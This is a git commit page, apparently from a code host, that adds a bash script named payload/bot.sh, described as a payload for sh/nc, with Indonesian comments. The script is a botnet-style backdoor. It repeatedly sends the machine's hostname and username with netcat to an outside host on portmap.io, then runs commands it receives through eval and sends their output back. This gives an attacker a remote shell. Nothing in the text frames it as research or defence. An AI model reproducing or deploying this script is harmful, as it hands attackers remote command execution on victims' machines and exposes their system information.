add payload for sh/nc
This commit is contained in:
parent
5594fd6780
commit
7ce87d2ae5
28
payload/bot.sh
Normal file
28
payload/bot.sh
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#for nc
|
||||||
|
SERVER_HOST="jabarzad-34105.portmap.io"
|
||||||
|
SERVER_PORT=34105
|
||||||
|
BOT_NAME=$(hostname)
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
# Kirimkan informasi awal ke server
|
||||||
|
echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
# Masuk ke mode interaktif untuk menerima perintah
|
||||||
|
while read -r command; do
|
||||||
|
if [ "$command" = "exit" ]; then
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Jalankan perintah dan kirim output kembali
|
||||||
|
output=$(eval "$command" 2>&1)
|
||||||
|
if [ -z "$output" ]; then
|
||||||
|
output="Command executed with no output."
|
||||||
|
fi
|
||||||
|
echo "$output" | nc $SERVER_HOST $SERVER_PORT
|
||||||
|
done < <(nc -l $SERVER_HOST $SERVER_PORT)
|
||||||
|
else
|
||||||
|
echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
|
||||||
|
sleep 5
|
||||||
|
fi
|
||||||
|
done
|
Loading…
Reference in New Issue
Block a user